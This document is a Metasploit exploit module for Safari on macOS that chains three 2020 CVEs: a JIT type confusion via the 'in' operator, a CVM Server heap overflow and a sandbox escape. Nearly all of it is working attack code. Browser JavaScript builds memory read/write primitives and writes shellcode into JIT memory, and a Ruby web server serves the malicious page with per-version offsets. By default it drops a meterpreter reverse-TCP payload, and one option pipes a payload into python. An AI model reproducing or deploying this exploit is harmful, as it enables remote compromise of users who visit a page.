Safari Type Confusion / Sandbox Escape

This Metasploit module exploits an incorrect side-effect modeling of the 'in' operator. The DFG compiler assumes that the 'in' operator is side-effect free, however the embed element with the PDF plugin provides a callback that can trigger side-effects leading to type confusion (CVE-2020-9850). The type confusion can be used as addrof and fakeobj primitives that then lead to arbitrary read/write of memory. These primitives allow us to write shellcode into a JIT region (RWX memory) containing the next stage of the exploit. The next stage uses CVE-2020-9856 to exploit a heap overflow in CVM Server, and extracts a macOS application containing our payload into /var/db/CVMS. The payload can then be opened with CVE-2020-9801, executing the payload as a user but without sandbox restrictions.


MD5 | 2dc9b201150ea12e09390643b437b269

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Post::File
include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Safari in Operator Side Effect Exploit',
'Description' => %q{
This module exploits an incorrect side-effect modeling of the 'in' operator.
The DFG compiler assumes that the 'in' operator is side-effect free, however
the <embed> element with the PDF plugin provides a callback that can trigger
side-effects leading to type confusion (CVE-2020-9850).
The type confusion can be used as addrof and fakeobj primitives that then
lead to arbitrary read/write of memory. These primitives allow us to write
shellcode into a JIT region (RWX memory) containing the next stage of the
exploit.
The next stage uses CVE-2020-9856 to exploit a heap overflow in CVM Server,
and extracts a macOS application containing our payload into /var/db/CVMS.
The payload can then be opened with CVE-2020-9801, executing the payload
as a user but without sandbox restrictions.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Yonghwi Jin <jinmoteam[at]gmail.com>', # pwn2own2020
'Jungwon Lim <setuid0[at]protonmail.com>', # pwn2own2020
'Insu Yun <insu[at]gatech.edu>', # pwn2own2020
'Taesoo Kim <taesoo[at]gatech.edu>', # pwn2own2020
'timwr' # metasploit integration
],
'References' => [
['CVE', '2020-9801'],
['CVE', '2020-9850'],
['CVE', '2020-9856'],
['URL', 'https://github.com/sslab-gatech/pwn2own2020'],
],
'DefaultTarget' => 0,
'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
'Targets' => [
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
],
'DisclosureDate' => 'Mar 18 2020'
)
)
register_advanced_options([
OptBool.new('DEBUG_EXPLOIT', [false, 'Show debug information in the exploit javascript', false]),
])
end

def exploit_js
<<~JS
const DUMMY_MODE = 0;
const ADDRESSOF_MODE = 1;
const FAKEOBJ_MODE = 2;

function pwn() {
let otherWindow = document.getElementById('frame').contentWindow;
let innerDiv = otherWindow.document.querySelector('div');

if (!innerDiv) {
print("Failed to get innerDiv");
return;
}

let embed = otherWindow.document.querySelector('embed');

otherWindow.document.body.removeChild(embed);
otherWindow.document.body.removeChild(otherWindow.annotationContainer);

const origFakeObjArr = [1.1, 1.1];
const origAddrOfArr = [2.2, 2.2];
let fakeObjArr = Array.from(origFakeObjArr);
let addressOfArr = Array.from(origAddrOfArr);
let addressOfTarget = {};

let sideEffectMode = DUMMY_MODE;
otherWindow.document.body.addEventListener('DOMSubtreeModified', () => {
if (sideEffectMode == DUMMY_MODE)
return;
else if (sideEffectMode == FAKEOBJ_MODE)
fakeObjArr[0] = {};
else if (sideEffectMode == ADDRESSOF_MODE)
addressOfArr[0] = addressOfTarget;
});

print('Callback is registered');

otherWindow.document.body.appendChild(embed);
let triggerArr;

function optFakeObj(triggerArr, arr, addr) {
arr[1] = 5.5;
let tmp = 0 in triggerArr;
arr[0] = addr;
return tmp;
}

function optAddrOf(triggerArr, arr) {
arr[1] = 6.6;
let tmp = 0 in triggerArr;
return [arr[0], tmp];
}

function prepare() {
triggerArr = [7.7, 8.8];
triggerArr.__proto__ = embed;
sideEffectMode = DUMMY_MODE;
for (var i = 0; i < 1e5; i++) {
optFakeObj(triggerArr, fakeObjArr, 9.9);
optAddrOf(triggerArr, addressOfArr);
}
delete triggerArr[0];
}

function cleanup() {
otherWindow.document.body.removeChild(embed);
otherWindow.document.body.appendChild(embed);

if (sideEffectMode == FAKEOBJ_MODE)
fakeObjArr = Array.from(origFakeObjArr);
else if (sideEffectMode == ADDRESSOF_MODE)
addressOfArr = Array.from(origAddrOfArr);

sideEffectMode = DUMMY_MODE;
}

function addressOf(obj) {
addressOfTarget = obj;
sideEffectMode = ADDRESSOF_MODE;
let ret = optAddrOf(triggerArr, addressOfArr)[0];
cleanup();
return Int64.fromDouble(ret);
}

function fakeObj(addr) {
sideEffectMode = FAKEOBJ_MODE;
optFakeObj(triggerArr, fakeObjArr, addr.asDouble());
let ret = fakeObjArr[0];
cleanup();
return ret;
}

prepare();
print("Prepare is done");

let hostObj = {
_: 1.1,
length: (new Int64('0x4141414141414141')).asDouble(),
id: new Int64([
0, 0, 0, 0, // m_structureID
0x17, // m_indexingType
0x19, // m_type
0x08, // m_flags
0x1 // m_cellState
]).asJSValue(),
butterfly: 0,
o:1,
executable:{
a:1, b:2, c:3, d:4, e:5, f:6, g:7, h:8, i:9, // Padding (offset: 0x58)
unlinkedExecutable:{
isBuiltinFunction: 1 << 31,
b:0, c:0, d:0, e:0, f:0, g:0, // Padding (offset: 0x48)
identifier: null
}
},
strlen_or_id: (new Int64('0x10')).asDouble(),
target: null
}

// Structure ID leak of hostObj.target
hostObj.target=hostObj

var hostObjRawAddr = addressOf(hostObj);
var hostObjBufferAddr = Add(hostObjRawAddr, 0x20)
var fakeHostObj = fakeObj(hostObjBufferAddr);
var fakeIdentifier = fakeObj(Add(hostObjRawAddr, 0x40));

hostObj.executable.unlinkedExecutable.identifier=fakeIdentifier
let rawStructureId=Function.prototype.toString.apply(fakeHostObj)

let leakStructureId=Add(new Int64(
rawStructureId[9].charCodeAt(0)+rawStructureId[10].charCodeAt(0)*0x10000
), new Int64([
0, 0, 0, 0, // m_structureID
0x07, // m_indexingType
0x22, // m_type
0x06, // m_flags
0x1 // m_cellState
]))
print('Leaked structure ID: ' + leakStructureId);

hostObj.strlen_or_id = hostObj.id = leakStructureId.asDouble();
hostObj.butterfly = fakeHostObj;

addressOf = function(obj) {
hostObj.o = obj;
return Int64.fromDouble(fakeHostObj[2]);
}

fakeObj = function(addr) {
fakeHostObj[2] = addr.asDouble();
return hostObj.o;
}

print('Got reliable addressOf/fakeObj');

let rwObj = {
_: 1.1,
length: (new Int64('0x4141414141414141')).asDouble(),
id: leakStructureId.asDouble(),
butterfly: 1.1,

__: 1.1,
innerLength: (new Int64('0x4141414141414141')).asDouble(),
innerId: leakStructureId.asDouble(),
innerButterfly: 1.1,
}

var rwObjBufferAddr = Add(addressOf(rwObj), 0x20);
var fakeRwObj = fakeObj(rwObjBufferAddr);
rwObj.butterfly = fakeRwObj;

var fakeInnerObj = fakeObj(Add(rwObjBufferAddr, 0x20));
rwObj.innerButterfly = fakeInnerObj;


function read64(addr) {
// We use butterfly and it depends on its size in -1 index
// Thus, we keep searching non-zero value to read value
for (var i = 0; i < 0x1000; i++) {
fakeRwObj[5] = Sub(addr, -8 * i).asDouble();
let value = fakeInnerObj[i];
if (value) {
return Int64.fromDouble(value);
}
}
throw 'Failed to read: ' + addr;
}

function write64(addr, value) {
fakeRwObj[5] = addr.asDouble();
fakeInnerObj[0] = value.asDouble();
}

function makeJITCompiledFunction() {
var obj = {};
// Some code to avoid inlining...
function target(num) {
num ^= Math.random() * 10000;
num ^= 0x70000001;
num ^= Math.random() * 10000;
num ^= 0x70000002;
num ^= Math.random() * 10000;
num ^= 0x70000003;
num ^= Math.random() * 10000;
num ^= 0x70000004;
num ^= Math.random() * 10000;
num ^= 0x70000005;
num ^= Math.random() * 10000;
num ^= 0x70000006;
num ^= Math.random() * 10000;
num ^= 0x70000007;
num ^= Math.random() * 10000;
num ^= 0x70000008;
num ^= Math.random() * 10000;
num ^= 0x70000009;
num ^= Math.random() * 10000;
num ^= 0x7000000a;
num ^= Math.random() * 10000;
num ^= 0x7000000b;
num ^= Math.random() * 10000;
num ^= 0x7000000c;
num ^= Math.random() * 10000;
num ^= 0x7000000d;
num ^= Math.random() * 10000;
num ^= 0x7000000e;
num ^= Math.random() * 10000;
num ^= 0x7000000f;
num ^= Math.random() * 10000;
num ^= 0x70000010;
num ^= Math.random() * 10000;
num ^= 0x70000011;
num ^= Math.random() * 10000;
num ^= 0x70000012;
num ^= Math.random() * 10000;
num ^= 0x70000013;
num ^= Math.random() * 10000;
num ^= 0x70000014;
num ^= Math.random() * 10000;
num ^= 0x70000015;
num ^= Math.random() * 10000;
num ^= 0x70000016;
num ^= Math.random() * 10000;
num ^= 0x70000017;
num ^= Math.random() * 10000;
num ^= 0x70000018;
num ^= Math.random() * 10000;
num ^= 0x70000019;
num ^= Math.random() * 10000;
num ^= 0x7000001a;
num ^= Math.random() * 10000;
num ^= 0x7000001b;
num ^= Math.random() * 10000;
num ^= 0x7000001c;
num ^= Math.random() * 10000;
num ^= 0x7000001d;
num ^= Math.random() * 10000;
num ^= 0x7000001e;
num ^= Math.random() * 10000;
num ^= 0x7000001f;
num ^= Math.random() * 10000;
num ^= 0x70000020;
num ^= Math.random() * 10000;
num &= 0xffff;
return num;
}

// Force JIT compilation.
for (var i = 0; i < 1000; i++) {
target(i);
}
for (var i = 0; i < 1000; i++) {
target(i);
}
for (var i = 0; i < 1000; i++) {
target(i);
}
return target;
}

function getJITCodeAddr(func) {
var funcAddr = addressOf(func);
print("Target function @ " + funcAddr.toString());
var executableAddr = read64(Add(funcAddr, 3 * 8));
print("Executable instance @ " + executableAddr.toString());

var jitCodeAddr = read64(Add(executableAddr, 3 * 8));
print("JITCode instance @ " + jitCodeAddr.toString());

if (And(jitCodeAddr, new Int64('0xFFFF800000000000')).toString() != '0x0000000000000000' ||
And(Sub(jitCodeAddr, new Int64('0x100000000')), new Int64('0x8000000000000000')).toString() != '0x0000000000000000') {
jitCodeAddr = Add(ShiftLeft(read64(Add(executableAddr, 3 * 8 + 1)), 1), 0x100);
print("approx. JITCode instance @ " + jitCodeAddr.toString());
}

return jitCodeAddr;
}

function setJITCodeAddr(func, addr) {
var funcAddr = addressOf(func);
print("Target function @ " + funcAddr.toString());
var executableAddr = read64(Add(funcAddr, 3 * 8));
print("Executable instance @ " + executableAddr.toString());
write64(Add(executableAddr, 3 * 8), addr);
}

function getJITFunction() {
var shellcodeFunc = makeJITCompiledFunction();
shellcodeFunc();
var jitCodeAddr = getJITCodeAddr(shellcodeFunc);
return [shellcodeFunc, jitCodeAddr];
}

var [_JITFunc, rwxMemAddr] = getJITFunction();

for (var i = 0; i < stage0.length; i++)
write64(Add(rwxMemAddr, i), new Int64(stage0[i]));

setJITCodeAddr(alert, rwxMemAddr);
var argv = {
a0: stage1Arr,
a1: stage2Arr,
doc: document,
a2: 0x41414141,
a3: 0x42424242,
a4: 0x43434343,
};
alert(argv);
}

var ready = new Promise(function(resolve) {
if (typeof(window) === 'undefined')
resolve();
else
window.onload = function() {
resolve();
}
});

ready.then(function() {
try {
pwn()
} catch (e) {
print("Exception caught: " + e);
location.reload();
}
}).catch(function(err) {
print("Initializatin failed");
});
JS
end

def offset_table
{
'placeholder' => {
jsc_confstr_stub: 0x0FF5370041414141,
jsc_llint_entry_call: 0x0FF5370041414142,
libsystem_c_confstr: 0x0FF5370041414143,
libsystem_c_dlopen: 0x0FF5370041414144,
libsystem_c_dlsym: 0x0FF5370041414145
},
'10.15.3' => {
jsc_confstr_stub: 0xE7D8B4,
jsc_llint_entry_call: 0x361f13,
libsystem_c_confstr: 0x2644,
libsystem_c_dlopen: 0x80430,
libsystem_c_dlsym: 0x80436
},
'10.15.4' => {
jsc_confstr_stub: 0xF96446,
jsc_llint_entry_call: 0x380a1d,
libsystem_c_confstr: 0x2be4,
libsystem_c_dlopen: 0x8021e,
libsystem_c_dlsym: 0x80224
}
}
end

def get_offsets(user_agent)
if user_agent =~ /Intel Mac OS X (.*?)\)/
osx_version = Regexp.last_match(1).gsub('_', '.')
if user_agent =~ %r{Version/(.*?) }
if Gem::Version.new(Regexp.last_match(1)) > Gem::Version.new('13.1')
print_warning "Safari version #{Regexp.last_match(1)} is not vulnerable"
return false
else
print_good "Safari version #{Regexp.last_match(1)} appears to be vulnerable"
end
end
mac_osx_version = Gem::Version.new(osx_version)
if mac_osx_version >= Gem::Version.new('10.15.5')
print_warning "macOS version #{mac_osx_version} is not vulnerable"
elsif mac_osx_version < Gem::Version.new('10.14')
print_warning "macOS version #{mac_osx_version} is not supported"
elsif offset_table.key?(osx_version)
return offset_table[osx_version]
else
print_warning "No offsets for version #{mac_osx_version}"
end
else
print_warning 'Unexpected User-Agent'
end
return false
end

def on_request_uri(cli, request)
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
print_status("[*] #{request.body}")
send_response(cli, '')
return
end

user_agent = request['User-Agent']
print_status("Request #{request.uri} from #{user_agent}")
if request.uri.ends_with? '.pdf'
send_response(cli, '', { 'Content-Type' => 'application/pdf' })
return
end

offsets = get_offsets(user_agent)
unless offsets
send_not_found(cli)
return
end

utils = exploit_data 'javascript_utils', 'utils.js'
int64 = exploit_data 'javascript_utils', 'int64.js'
stage0 = exploit_data 'CVE-2020-9850', 'stage0.bin'
stage1 = exploit_data 'CVE-2020-9850', 'loader.bin'
stage2 = exploit_data 'CVE-2020-9850', 'sbx.bin'

offset_table['placeholder'].each do |k, v|
placeholder_index = stage1.index([v].pack('Q'))
stage1[placeholder_index, 8] = [offsets[k]].pack('Q')
end

case target['Arch']
when ARCH_X64
root_payload = payload.encoded
when ARCH_PYTHON
root_payload = "CMD:echo \"#{payload.encoded}\" | python"
when ARCH_CMD
root_payload = "CMD:#{payload.encoded}"
end
if root_payload.length > 1024
fail_with Failure::PayloadFailed, "Payload size (#{root_payload.length}) exceeds space in payload placeholder"
end
placeholder_index = stage2.index('ROOT_PAYLOAD_PLACEHOLDER')
stage2[placeholder_index, root_payload.length] = root_payload
payload_js = <<~JS
const stage0 = [
#{Rex::Text.to_num(stage0)}
];
var stage1Arr = new Uint8Array([#{Rex::Text.to_num(stage1)}]);
var stage2Arr = new Uint8Array([#{Rex::Text.to_num(stage2)}]);
JS

jscript = <<~JS
#{utils}
#{int64}
#{payload_js}
#{exploit_js}
JS

if datastore['DEBUG_EXPLOIT']
debugjs = %^
print = function(arg) {
var request = new XMLHttpRequest();
request.open("POST", "/print", false);
request.send("" + arg);
};
^
jscript = "#{debugjs}#{jscript}"
else
jscript.gsub!(%r{//.*$}, '') # strip comments
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
end

pdfpath = datastore['URIPATH'] || get_resource
pdfpath += '/' unless pdfpath.end_with? '/'
pdfpath += Rex::Text.rand_text_alpha(4..8) + '.pdf'

html = <<~HTML
<html>
<head>
<style>
body {
margin: 0;
}
iframe {
display: none;
}
</style>
</head>
<body>
<iframe id=frame width=10% height=10% src="#{pdfpath}"></iframe>
<script>
#{jscript}
</script>
</body>
</html>
HTML

send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })
end

end

Related Posts